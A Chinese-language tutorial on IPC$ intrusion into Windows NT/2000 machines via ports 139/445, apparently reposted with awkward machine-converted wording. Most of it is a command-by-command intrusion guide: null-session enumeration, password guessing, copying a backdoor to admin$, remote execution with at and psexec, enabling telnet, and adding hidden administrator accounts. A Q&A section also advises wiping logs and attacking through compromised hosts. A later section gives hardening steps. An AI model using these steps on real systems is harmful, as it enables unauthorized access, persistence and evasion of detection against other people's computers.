標籤:使用 os 檔案 資料 io art
445port入侵具體解釋
關於“445port入侵”的內容
445port入侵具體解釋
本站搜尋很多其它關於“445port入侵”的內容
445port入侵,在這之前我們首先要看的還是445port為什麼回成為入侵的port呢?
445port就是IPC 服務的預設port
ipc$
一 摘要
二 什麼是 ipc$
三 什麼是空會話
四 空會話能夠做什麼
五 ipc$ 所使用的port
六 ipc 管道在 hack 攻擊中的意義
七 ipc$ 串連失敗的常見原因
八 拷貝檔案失敗的原因
九 關於 at 命令和 xp 對 ipc$ 的限制
十 怎樣開啟目標的 IPC$ 共用以及其它共用
十一 一些須要 shell 才幹完畢的命令
十二 入侵中可能會用到的命令
十三 對照過去和現今的 ipc$ 入侵
十四 怎樣防範 ipc$ 入侵
十五 ipc$ 入侵問答精選
十六 結束的話
一 摘要
網上關於 ipc$入侵的文章可謂多如牛毛,攻擊步驟甚至已經成為了固化的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄。只是話雖這樣說,我覺得這些文章解說的並不具體,一些內容甚至是錯誤的,以致對 ipc$的提問差點兒佔了各大安全論壇討論區的半壁江山,並且這些問題經常都是反覆的,嚴重影響了論壇品質和學習效率,因此我總結了這篇文章,希望能把 ipc$這部分東西盡量說清楚。
注意:本文所討論的各種情況均預設發生在 win NT/2000 環境下, win98 將不在此次討論之列。
二 什麼是 ipc$
IPC$(Internet Process Connection) 是共用 " 具名管道 "的資源,它是為了讓處理序間通訊而開放的具名管道,通過提供可信任的username和口令,串連兩方能夠建立安全的通道並以此通道進行加密資料的交換,從而實現對遠端電腦的訪問。 IPC$ 是 NT/2000 的一項新功能,它有一個特點,即在同一時間內,兩個 IP 之間僅僅同意建立一個串連。NT/2000 在提供了 ipc$ 功能的同一時候,在初次安裝系統時還開啟了預設共用,即全部的邏輯共用 (c$,d$,e$ …… ) 和系統目錄winnt 或 windows(admin$) 共用。全部的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的減少。
平時我們總能聽到有人在說 ipc$ 漏洞, ipc$ 漏洞,事實上 ipc$ 並非一個真正意義上的漏洞 , 我想之所以有人這麼說,一定是指微軟自己安置的那個‘後門‘:空會話( Null session )。那麼什麼是空會話呢?
三 什麼是空會話
在介紹空會話之前,我們有必要瞭解一下一個安全會話是怎樣建立的。
在 Windows NT 4.0 中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立兩方通過它互連資訊,這個過程的大致順序例如以下:
1 )會話要求者(客戶)向會話接收者(server)傳送一個資料包,請求安全隧道的建立;
2 )server產生一個隨機的 64 位元數(實現挑戰)傳送回客戶;
3 )客戶取得這個由server產生的 64 位元數,用試圖建立會話的帳號的口令打亂它,將結果返回到server(實現響應);
4 )server接受響應後發送給本地安全驗證( LSA ), LSA通過使用該使用者正確的口令來核實響應以便確認要求者身份。假設要求者的帳號是server的本地帳號,核實本地發生;假設請求的帳號是一個域的帳號,響應傳送到網域控制站去核實。當對挑戰的響應核實為正確後,一個訪問令牌產生,然後傳送給客戶。客戶使用這個訪問令牌串連到server上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程,那麼空會話又怎樣呢?
空會話是在沒有信任的情況下與server建立的會話(即未提供username與password),但依據 WIN2000的訪問控制模型,空會話的建立相同須要提供一個令牌,但是空會話在建立過程中並沒有經過使用者資訊的認證,所以這個令牌中不包括使用者資訊,因此,這個會話不能讓系統間發送加密資訊,但這並不表示空會話的令牌中不包括安全性識別碼 SID (它標識了使用者和所屬組),對於一個空會話, LSA 提供的令牌的SID 是 S- 1-5-7 ,這就是空會話的 SID ,username是: ANONYMOUS LOGON(這個username是能夠在使用者列表中看到的,但是是不能在 SAM 資料庫中找到,屬於系統內建的帳號),這個訪問令牌包括以下偽裝的組:
Everyone
Network
在安全性原則的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切資訊。那麼建立空會話究竟能夠作什麼呢?
四 空會話能夠做什麼
對於 NT ,在預設安全設定下,藉助空串連能夠列舉目標主機上的使用者和共用,訪問 everyone許可權的共用,訪問小部分注冊表等,並沒有什麼太大的利用價值;對 2000 作用更小,由於在 Windows 2000和以後版本號碼中預設僅僅有管理員和備份操作員有權從網路訪問到注冊表,並且實現起來也不方便,需藉助工具。
從這些我們能夠看到,這樣的非信任會話並沒有多大的用處,但從一次完整的 ipc$入侵來看,空會話是一個必不可少的跳板,由於我們從它那裡能夠得到戶列表,而大多數弱口令掃描工具就是利用這個使用者列表來進行口令猜解的,成功的匯出使用者列表大大添加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會話毫無用處的說法是不對的。以下是空會話中能夠使用的一些具體命令:
1 首先,我們先建立一個空會話(當然,這須要目標開放 ipc$ )
命令: net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 後面一個,password左右各一個空格。
2 查看遠程主機的共用資源
命令: net view \\ip
解釋:前提是建立了空串連後,用此命令能夠查看遠程主機的共用資源,假設它開了共用,能夠得到如以下的結果,但此命令不能顯示預設共用。
在 \\*.*.*.* 的共用資源
資源共用名稱 類型 用途 凝視
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完畢。
3 查看遠程主機的目前時間
命令: net time \\ip
解釋:用此命令能夠得到一個遠程主機的目前時間。
4 得到遠程主機的 NetBIOS username列表(須要開啟自己的 NBT )
命令: nbtstat -A ip
用此命令能夠得到一個遠程主機的 NetBIOS username列表,返回例如以下結果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H < 1C > GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services < 1C > GROUP Registered
IS~SERVER......<00> UNIQUE Registered
MAC Address = 00-50-8B -9A -2D-37
以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,只是要注意一點:建立 IPC$ 串連的操作會在 Event Log 中留下記錄,無論你是否登入成功。 好了,那麼以下我們就來看看 ipc$ 所使用的port是什嗎?
五 ipc$ 所使用的port
首先我們來瞭解一些基礎知識:
1 SMBServer Message Block) Windows 協議族,用於檔案列印共用的服務;
2 NBTNETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )port實現基於 TCP/IP 協議的 NETBIOS 網路互聯。
3 在 WindowsNT 中 SMB 基於 NBT 實現,即使用 139 ( TCP )port;而在 Windows2000 中, SMB 除了基於 NBT 實現,還能夠直接通過 445 port實現。
有了這些基礎知識,我們就能夠進一步來討論訪問網際網路共用對port的選擇了:
對於 win2000 client(發起端)來說:
1 假設在同意 NBT 的情況下串連server時,client會同一時候嘗試訪問 139 和 445 port,假設 445 port有響應,那麼就發送 RST包給 139 port中斷連線,用 455 port進行會話,當 445 port無響應時,才使用 139 port,假設兩個port都沒有響應,則會話失敗;
2 假設在禁止 NBT 的情況下串連server時,那麼client僅僅會嘗試訪問 445 port,假設 445 port無響應,那麼會話失敗。
對於 win2000 server端來說:
1 假設同意 NBT, 那麼 UDP port 137, 138, TCP port 139, 445 將開放( LISTENING );
2 假設禁止 NBT ,那麼僅僅有 445 port開放。
我們建立的 ipc$ 會話對port的選擇相同遵守以上原則。顯而易見,假設遠程server沒有監聽 139 或 445 port, ipc$ 會話是無法建立的。
六 ipc 管道在 hack 攻擊中的意義
ipc 管道本來是微軟為了方便管理員進行遠端管理而設計的,但在入侵者看來,開放 ipc 管道的主機似乎更easy得手。通過 ipc管道,我們能夠遠程調用一些系統函數(大多通過工具實現,但須要對應的許可權),這往往是入侵成敗的關鍵。假設不考慮這些,僅從傳送檔案這一方面,ipc 管道已經給了入侵者莫大的支援,甚至已經成為了最重要的傳輸手段,因此你總能在各大論壇上看到一些朋友由於打不開目標機器的 ipc管道而一籌莫展大呼救命。當然,我們也不能忽視許可權在 ipc管道中扮演的重要角色,想必你一定品嘗過空會話的尷尬,沒有許可權,開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的許可權,那麼 ipc管道這把雙刃劍將顯示出它猙獰的一面。
七 ipc$ 串連失敗的常見原因
以下是一些常見的導致 ipc$ 串連失敗的原因:
1 IPC 串連是 Windows NT 及以上系統中特有的功能,由於其須要用到 Windows NT 中非常多 DLL 函數,所以不能在Windows 9.x/Me 系統中執行,也就是說僅僅有 nt/2000/xp 才幹夠相互建立 ipc$ 串連, 98/me 是不能建立ipc$ 串連的;
2 假設想成功的建立一個 ipc$ 串連,就須要回應程式開啟 ipc$ 共用,即使是空串連也是這樣,假設回應程式關閉了 ipc$ 共用,將不能建立串連;
3 串連發起方未啟動 Lanmanworkstation 服務(顯示名為: Workstation ):它提供網路鏈結和通訊,沒有它發起方無法發起串連請求;
4 回應程式未啟動 Lanmanserver 服務(顯示名為: Server ):它提供了 RPC 支援、檔案、列印以及具名管道共用, ipc$ 依賴於此服務,沒有它主機將無法響應發起方的串連請求,只是沒有它仍可發起 ipc$ 串連;
5 回應程式未啟動 NetLogon ,它支援網路上電腦 pass-through 帳戶登入身份(只是這樣的情況好像不多);
6 回應程式的 139 , 445 port未處於監聽狀態或被防火牆屏蔽;
7 串連發起方未開啟 139 , 445 port;
8 username或者password錯誤:假設發生這樣的錯誤,系統將給你相似於 ‘ 無法更新password ‘ 這樣的錯誤提示(顯然空會話排除這樣的錯誤);
9 命令輸入錯誤:可能多了或少了空格,當username和password中不包括空格時兩邊的雙引號能夠省略,假設password為空白,能夠直接輸入兩個引號 "" 就可以;
10 假設在已經建立好串連的情況下對方重新啟動電腦,那麼 ipc$ 串連將會自己主動斷開,須要又一次建立串連。
另外 , 你也能夠依據返回的錯誤號碼分析原因:
錯誤號碼 5 ,拒絕訪問:非常可能你使用的使用者不是管理員權限的;
錯誤號碼 51 , Windows 無法找到網路路徑:網路有問題;
錯誤號碼 53 ,找不到網路路徑: ip 地址錯誤;目標未開機;目標 lanmanserver 服務未啟動;目標有防火牆(port過濾);
錯誤號碼 67 ,找不到網路名稱:你的 lanmanworkstation 服務未啟動或者目標刪除了 ipc$ ;
錯誤號碼 1219 ,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個 ipc$ ,請刪除再連;
錯誤號碼 1326 ,未知的username或錯誤password:原因非常明顯了;
錯誤號碼 1792 ,試圖登入,但是Net Logon 服務沒有啟動:目標 NetLogon 服務未啟動;
錯誤號碼 2242 ,此使用者的password已經到期:目標有帳號策略,強制定期要求更改password。
八 拷貝檔案失敗的原因
有些朋友儘管成功的建立了 ipc$ 串連,但在 copy 時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?
1 對方未開啟共用目錄
這類錯誤出現的最多,佔到 50% 以上。很多朋友在 ipc$串連建立成功後,甚至都不知道對方是否有共用目錄,就進行盲目複製,結果導致複製失敗並且鬱悶的非常。因此我建議大家在進行複製之前務必用 netview \\IP 這個命令看一下你想要複製的共用目錄是否存在(用軟體查看當然更好),不要覺得能建立 ipc$ 串連就一定有共用目錄存在。
2 向預設共用複製失敗
這類錯誤也是大家經常犯的,主要有兩個小方面:
1 )錯誤的覺得能建立 ipc$ 串連的主機就一定開啟了預設共用,因而在建立完串連之後立即向 c$,d$,admin$之類的預設共用拷貝檔案,一旦對方未開啟預設共用,將導致複製失敗。 ipc$ 串連成功僅僅能說明對方開啟了 ipc$共用,並不能說明預設共用一定存在。 ipc$ 共用與預設共用是 兩碼 事, ipc$共用是一個具名管道,並非哪個實際的目錄,而預設共用卻是實實在在的共用目錄;
2 )由於 net view \\IP 這個命令無法顯示預設共用目錄(由於預設共用帶 $),因此通過這個命令,我們並不能推斷對方是否開啟了預設共用,因此假設對方未開啟預設共用,那麼全部向預設共用進行的操作都不能成功;(只是大部分掃描軟體在掃弱口令的同一時候,都能掃到預設共用目錄,能夠避免此類錯誤的發生)
要點:請大家一定區分 ipc 共用,預設共用,普通共用這三者的差別: ipc 共用是一個管道,並非實際的共用目錄;預設共用是安裝時預設開啟的目錄;普通共用是我們自己開啟的能夠設定許可權的共用目錄。
3 使用者權限不夠,包括四種情形:
1 )空串連向全部共用(預設共用和普通共用)複製時,許可權是不夠的;
2 )向預設共用複製時,在 Win2000 Pro 版中,僅僅有 Administrators 和 備份操作員群組成員才幹夠,在 Win2000 Server 版本號碼 Server Operatros 組也能夠訪問到這些共用目錄;
3 )向普通共用複製時,要具有對應許可權(即對方管理員事先設定的訪問許可權);
4 )對方能夠通過防火牆或安全軟體的設定,禁止外部訪問共用;
注意:
1 不要覺得 administrator 就一定具有管理員權限,管理員名稱是能夠改的
2 管理員能夠訪問預設共用的目錄,但不一定能夠訪問普通的共用目錄,由於管理員能夠對普通的共用目錄進行訪問使用權限設定, 6 ,管理員為D 盤設定的訪問許可權為僅同意名為 xinxin 的使用者對該目錄進行全然訪問,那麼此時即使你擁有管理員權限,你仍然不能訪問 D盤。只是有意思的是,假設此時對方又開啟了 D$ 的預設共用,那麼你卻能夠訪問 D$ ,從而繞過了許可權限制,有興趣的朋友能夠自己做測試。
4 被防火牆殺死或在區域網路
另一種情況,那就是或許你的複製操作已經成功,但當遠程執行時,被防火牆殺掉了,導致找不到檔案;或者你把木馬拷貝到了區域網路內的主機,導致串連失敗(反向串連的木馬不會發生這樣的情況)。假設你沒有想到這樣的情況,你會以為是複製上出了問題,但實際你的複製操作已經成功了,僅僅是執行時出了問題。
呵呵,大家也知道, ipc$ 串連在實際操作過程中會出現各種各樣的問題,上面我所總結的僅僅是一些常見錯誤,沒說到的,大家能夠給我提個醒兒。
九 關於 at 命令和 xp 對 ipc$ 的限制
本來還想說一下用 at 遠程執行程式失敗的原因,但考慮到 at的成功率不是非常高,問題也非常多,在這裡就不提它了(提的越多,用的人就越多),而是推薦大家用 psexec.exe遠程執行程式,假設想要遠程機器執行本地 c:\xinxin.exe 檔,且管理員為 administrator ,password為 1234,那麼輸入以下的命令:
psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe
假設已經建立 ipc 串連,則 -u -p 這兩個參數不須要, psexec.exe 將自己主動拷貝檔案到遠程機器並執行。
本來 xp 中的 ipc$ 也不想在這裡討論,想單獨拿出來討論,但看到越來越多的朋友非常急切的提問為什麼遇到 xp的時候,大部分操作都非常難成功。我在這裡就簡單提一下吧,在 xp的預設安全選項中,不論什麼遠程訪問僅被賦予來賓許可權,也就是說即使你是用系統管理員帳戶和password,你所得到的許可權也僅僅是 Guest,因此大部分操作都會由於許可權不夠而失敗,並且到眼下為止並沒有一個好的辦法來突破這一限制。所以假設你真的得到了 xp的管理員password,我建議你盡量避開 ipc 管道。
十 怎樣開啟目標的 IPC$ 共用以及其它共用
目標的 ipc$ 不是輕易就能開啟的,否則就要天下打亂了。你須要一個 admin 許可權的 shell ,比方 telnet ,木馬, cmd 重新導向等,然後在 shell 下執行:
net share ipc$
開放目標的 ipc$ 共用;
net share ipc$ /del
關閉目標的 ipc$ 共用;假設你要給它開共用目錄,你能夠用:
net share xinxin=c:\
這樣就把它的 c 盤開為共用名稱為 xinxin 共用目錄了。(但是我發現非常多人錯誤的覺得開共用目錄的命令是 net share c$ ,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操作都是在 shell 下才幹實現的。
十一 一些須要 shell 才幹完畢的命令
看到非常多教程這方面寫的十分不準確,一些須要 shell 才幹完畢命令就簡簡單單的在 ipc$ 串連下執行了,起了誤導作用。那麼以下我總結一下須要在 shell 才幹完畢的命令:
1 向遠程主機建立使用者,啟用使用者,改動使用者password,加入管理組的操作須要在 shell 下完畢;
2 開啟遠程主機的 ipc$ 共用,預設共用,普通共用的操作須要在 shell 下完畢;
3 執行 / 關閉遠程主機的服務,須要在 shell 下完畢;
4 啟動 / 殺掉遠程主機的進程,也須要在 shell 下完畢(用軟體的情況下除外,如 pskill )。
十二 入侵中可能會用到的命令
為了這份教程的完整性,我列出了 ipc$入侵中的一些經常使用命令,假設你已經掌握了這些命令,你能夠跳過這一部分看以下的內容。請注意這些命令是適用於本地還是遠程,假設僅僅適用於本地,你僅僅能在獲得遠程主機的 shell (如 cmd , telnet 等)後,才幹向遠程主機執行。
1 建立 / 刪除 ipc$ 串連的命令
1 )建立空串連 :
net use \\127.0.0.1\ipc$ "" /user:""
2 )建立非空串連 :
net use \\127.0.0.1\ipc$ " password " /user:" username "
3 )刪除串連 :
net use \\127.0.0.1\ipc$ /del
2 在 ipc$ 串連中對遠程主機的操作命令
1 ) 查看遠程主機的共用資源(看不到預設共用) :
net view \\127.0.0.1
2 ) 查看遠程主機的目前時間 :
net time \\127.0.0.1
3 ) 得到遠程主機的 netbios username列表 :
nbtstat -A 127.0.0.1
4 )映射 / 刪除遠程共用 :
net use z: \\127.0.0.1\c
此命令將共用名稱為 c 的共用資源映射為本地 z 盤
net use z: /del
刪除映射的 z 盤,其它盤類推
5 )向遠程主機拷貝檔案 :
copy 路徑 \ 檔案名稱 \\IP\ 共用目錄名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即將 c 盤下的 xinxin.exe 拷貝到對方 c 盤內
當然,你也能夠把遠程主機上的檔案拷貝到自己的機器裡:
copy \\127.0.0.1\c$\xinxin.exe c:\
6 )遠程加入計劃任務 :
at \\IP 時間 程式名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:時間盡量使用 24 小時制;假設你打算執行的程式在系統預設搜尋路徑(比方 system32/ )下則不用加路徑,否則必須加全路徑
3 本地命令
1 )查看本地主機的共用資源(能夠看到本地的預設共用)
net share
2 )得到本地主機的使用者列表
net user
3 )顯示本地某使用者的帳戶資訊
net user 帳戶名稱
4 )顯示本地主機當前啟動的服務
net start
5 )啟動 / 關閉本地服務
net start 服務名
net stop 服務名
6 )在本地加入帳戶
net user 帳戶名稱 password /add
7 )啟用禁用的使用者
net uesr 帳戶名稱 /active:yes
8 )加入Administrator 群組
net localgroup administrators 帳戶名稱 /add
非常顯然的是,儘管這些都是本地命令,但假設你在遠程主機的 shell 中輸入,比方你 telnet 成功後輸入上面這些命令,那麼這些本地輸入將作用在遠程主機上。
4 其它一些命令
1 ) telnet
telnet IP port
telnet 127.0.0.0 23
2 )用 opentelnet.exe 開啟遠程主機的 telnet
OpenTelnet.exe \\ip 管理員帳號 password NTLM 的認證方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
只是這個小工具須要滿足四個要求:
1 )目標開啟了 ipc$ 共用
2 )你要擁有管理員password和帳號
3 )目標開啟 RemoteRegistry 服務,使用者就能夠更改 ntlm 認證
4 )對僅 WIN2K/XP 有效
3 )用 psexec.exe 一步獲得 shell ,須要 ipc 管道支援
psexec.exe \\IP -u 管理員帳號 -p password cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd
十三 對照過去和現今的 ipc$ 入侵
既然是對照,那麼我就先把過去的 ipc$ 入侵步驟寫給大家,都是蠻經典的步驟:
[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\ 用掃到的空口令建立串連
[2]
c:\>net view \\127.0.0.1
\\ 查看遠端共用資源
[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\ 將一次性後門 srv.exe 拷貝到對方的系統目錄下,前提是 admin$ 開啟
[4]
C:\>net time \\127.0.0.1
\\ 查看遠程主機的目前時間
[5]
C:\>at \\127.0.0.1 時間 srv.exe
\\ 用 at 命令遠程執行 srv.exe ,須要對方開啟了 ‘Task Scheduler‘ 服務
[6]
C:\>net time \\127.0.0.1
\\ 再次查看目前時間來估算 srv.exe 是否已經執行,此步能夠省略
[7]
C:\>telnet 127.0.0.1 99
\\ 開一個新表單,用 telnet 遠程登陸到 127.0.0.1 從而獲得一個 shell( 不懂 shell 是什麼意思?那你就把它想象成遠程機器的控制權就好了,操作像 DOS) , 99 port是 srv.exe 開的一次性後門的port
[8]
C:\WINNT\system32>net start telnet
\\ 我們在剛剛登陸上的 shell 中啟動遠程機器的 telnet 服務,畢竟 srv.exe 是一次性的後門,我們須要一個長久的後門便於以後訪問,假設對方的 telnet 已經啟動,此步可省略
[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\ 在原來那個表單中將 ntlm.exe 傳過去, ntlm.exe 是用來更改 telnet 身分識別驗證的
[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 表單中執行 ntlm.exe ,以後你就能夠暢通無阻的 telnet 這台主機了
[11]
C:\>telnet 127.0.0.1 23
\\ 在新表單中 telnet 到 127.0.0.1 ,port 23 可省略,這樣我們又獲得一個長期的後門
[12]
C:\WINNT\system32>net user 帳戶名稱 password /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帳戶名稱 /add
\\telnet 上以後,你能夠建立新帳戶,啟用 guest ,把不論什麼帳戶加入Administrator 群組等
好了,寫到這裡我似乎回到了 2 , 3 年前,那時的 ipc$ 大家都是這麼用的,只是隨著新工具的出現,上面提到的一些工具和命令如今已經不經常使用到了,那就讓我們看看如今的高效而簡單的 ipc$ 入侵吧。
[1]
psexec.exe \\IP -u 管理員帳號 -p password cmd
\\ 用這個工具我們能夠一步到位的獲得 shell
OpenTelnet.exe \\server 管理員帳號 password NTLM 的認證方式 port
\\ 用它能夠方便的更改 telnet 的驗證方式和port,方便我們登陸
[2]
已經沒有第二步了,用一步獲得 shell 之後,你做什麼都能夠了,安後門能夠用 winshell ,複製就用 ca 吧,開終端用 3389.vbe ,記錄password用 win2kpass ,總之好的工具不少,隨你選了,我就不多說了。
十四 怎樣防範 ipc$ 入侵
1 禁止空串連進行枚舉 ( 此操作並不能阻止空串連的建立 )
執行 regedit ,找到例如以下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的索引值改為: 1
假設設定為 "1" ,一個匿名使用者仍然能夠串連到 IPC$ 共用,但無法通過這樣的串連得到列舉 SAM 帳號和共用資訊的許可權;在 Windows2000 中添加了 "2" ,未取得匿名權的使用者將不能進行 ipc$ 空串連。建議設定為 1。假設上面所說的主鍵不存在,就建立一個再改索引值。假設你覺得改注冊表麻煩,能夠在本地安全設定中設定此項: 在本地安全設定-本地策略-安全選項-‘ 對匿名串連的額外限制 ‘
2 禁止預設共用
1 )察看本地共用資源
執行 -cmd- 輸入 net share
2 )刪除共用(重起後預設共用仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (假設有 e,f, ……能夠繼續刪除)
3 )停止 server 服務
net stop server /y (又一次啟動後 server 服務會又一次開啟)
4 )禁止自己主動開啟預設共用(此操作並不能關閉 ipc$ 共用)
執行 -regedit
server 版 : 找到例如以下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareServer ( DWORD )的索引值改為 :00000000 。
pro 版 : 找到例如以下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareWks ( DWORD )的索引值改為 :00000000 。
這兩個索引值在預設情況下在主機上是不存在的,須要自己手動加入,改動後重起機器使設定生效。
3 關閉 ipc$ 和預設共用依賴的服務 :server 服務
假設你真的想關閉 ipc$ 共用,那就禁止 server 服務吧:
控制台 - 管理工具 - 服務 - 找到 server 服務(右擊) - 屬性 - 常規 - 啟動類型 - 選已禁用,這時可能會有提示說: XXX 服務也會關閉是否繼續,由於還有些次要的服務要依賴於 server 服務,不要管它。
4 屏蔽 139 , 445 port
由於沒有以上兩個port的支援,是無法建立 ipc$ 的,因此屏蔽 139 , 445 port相同能夠阻止 ipc$ 入侵。
1 ) 139 port能夠通過禁止 NBT 來屏蔽
本地串連- TCP/IT 屬性-進階- WINS -選‘禁用 TCP/IT 上的 NETBIOS ‘一項
2 ) 445 port能夠通過改動注冊表來屏蔽
加入一個索引值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
改動完後重新啟動機器
注意:假設屏蔽掉了以上兩個port,你將無法用 ipc$ 入侵別人。
3 )安裝防火牆進行port過濾
6 設定複雜password,防止通過 ipc$ 窮舉出password,我覺得這才是最好的辦法,增強安全意識,比不停的打補丁要安全的多。
十五 ipc$ 入侵問答精選
上面說了一大堆的理論東西,但在實際中你會遇到各種各樣的問題,因此為了給予大家最大的協助,我整理了各大安全論壇中一些有代表性的問答,當中的一些答案是我給出的,一些是論壇上的回複,假設有什麼疑問,能夠來找我討論。
1. 進行 ipc$ 入侵的時候,會在server中留下記錄,有什麼辦法能夠不讓server發現嗎?
答:留下記錄是一定的,你走後用清除日誌程式刪除就能夠了,或者用肉雞入侵。
2. 你看以下的情況是為什麼,能夠串連但不能複製
net use \\***.***.***.***\ipc$ " password " /user:" username "
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到網路路徑
命令不成功
答:像“找不到網路路徑”“找不到網路名稱”之類的問題,大多是由於你想要拷貝到的共用目錄沒有開啟,所以在複製的時候會出現錯誤,你能夠試著找找其它的共用目錄。
3. 假設對方開了 IPC$ ,且能建立空聯結,但開啟 C 、 D 盤時,都要求password,我知道是空串連沒有太多的許可權,但沒別的辦法了嗎?
答:建議先用流光或者別的什麼掃描軟體試著猜解一下password,假設猜不出來,僅僅能放棄,畢竟空串連的能力有限。
4. 我已經猜解到了管理員的password,且已經 ipc$ 串連成功了,但 net view \\ip 發現它沒開預設共用,我該怎麼辦?
答:首先糾正你的一個錯誤,用 net view \\ip 是無法看到預設共用的,你能夠試著將檔案拷貝到 c$ , d$ 看看,假設都不行,說明他關閉了預設共用,那你就用 opentelnet.exe 或 psexec.exe 吧,使用方法上面有。
5.ipc$ 串連成功後,我用以下的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事?
net uset ccbirds /add
答: ipc$ 建立成功僅僅能說明你與遠程主機建立了通訊隧道,並不意味你取得了一個 shell ,僅僅有在獲得一個 shell (比方 telnet )之後,你才幹在遠程機器建立一個帳戶,否則你的操作僅僅是在本地進行。
6. 我已進入了一台肉機,用的管理員帳號,能夠看他的系統時間,但是複製程式到他的機子上卻不行,每次都提示“拒絕訪問,已複製 0 個檔案”,是不是對方有什麼服務沒開,我該怎麼辦?
答:一般來說“拒絕訪問”都是許可權不夠的結果,可能是你用的帳戶有問題,另一種可能,假設你想向普通共用目錄拷貝檔案卻返回這個錯誤,說明這個目錄設定的同意訪問使用者中不包括你(哪怕你是管理員),這一點我在上一期文章中分析了。
7. 我用 Win98 能與對方建立 ipc$ 串連嗎?
答:理論上不能夠,要進行 ipc$ 的操作,建議用 win2000 ,用其它作業系統會帶來很多不必要的麻煩。
8. 我用 net use \\ip\ipc$ "" /user "" 成功的建立了一個空會話,但用 nbtstat -A IP 卻無法匯出使用者列表,這是為什嗎?
答:空會話在預設的情況下是能夠匯出使用者列表的,但假設管理員通過改動注冊表來禁止匯出列表,就會出現你所說的情況;還有可能是你自己的 NBT 沒有開啟, netstat 命令是建立在 NBT 之上的。
9. 我建立 ipc$ 串連的時候返回例如以下資訊:‘提供的憑據與已存在的憑據集衝突‘,怎麼回事?
答:呵呵,這說明你已經與目標主機建立了 ipc$ 串連,兩個主機間同一時候建立兩個 ipc$ 串連是不同意的。
10. 我在映射的時候出現:
F:\>net use h: \\211.161.134.*\e$
系統發生 85 錯誤。
本地裝置名稱已在使用中。這是怎麼回事?
答:你也太粗心了吧,這說明你有一個 h 盤了,映射到沒有的盤符吧!
11. 我建立了一個串連 f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但當我映射時出現了錯誤,向我要password,怎麼回事?
F:\>net use h: \\*.*.*.*\c$
password在 \\*.*.*.*\c$ 無效。
請鍵入 \\*.*.*.*\c$ 的password :
系統發生 5 錯誤。
拒絕訪問。
答:呵呵,向你要password說明你當前使用的使用者權限不夠,不能映射 C$ 這個預設共用,想辦法提升許可權或者找管理員的弱口令吧!預設共用通常是須要管理員權限的。
12. 我用 superscan 掃到了一個開了 139 port的主機,但為什麼不能空串連呢?
答:你混淆了 ipc$ 與 139 的關係,能進行 ipc$ 串連的主機一定開了 139 或 445 port,但開這兩個port的主機可不一定能空串連,由於對方能夠關閉 ipc$ 共用 .
13. 我們區域網路裡的機器大多都是 xp ,我用流光掃描到幾個 administrator 帳號口令是空,並且能夠串連,但不能複製東西,說錯誤 5 。請問為什嗎?
答: xp 的安全性要高一些,在安全性原則的預設設定中,對本地帳戶的網路登入進行身分識別驗證的時候,默覺得來賓許可權,即使你用管理員遠程登入,也僅僅具有來賓許可權,因此你拷貝檔案,當然是錯誤 5 :許可權不夠。
14. 我用 net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,但是 net use i: \\192.168.0.2\c
出現請鍵入 \\192.168.0.2 的password,怎麼回事情呢?我用的但是管理員呀?應該什麼都能夠訪問呀?
答:儘管你具有管理員權限,但管理員在設定 c 盤共用許可權時(注意:普通共用能夠設定訪問許可權,而預設共用則不能)可能並未設定同意 administrator 訪問,所以會出現上述問題。
15. 假設自己的機器禁止了 ipc$, 是不是還能夠用 ipc$ 串連別的機器?假設禁止 server 服務呢?
答:禁止以上兩項仍能夠發起 ipc$ 串連,只是這樣的問題自己動手實驗會更好。
16. 能告訴我以下的兩個錯誤產生的原因嗎?
c:\>net time \\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。
c:\>net view \\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。
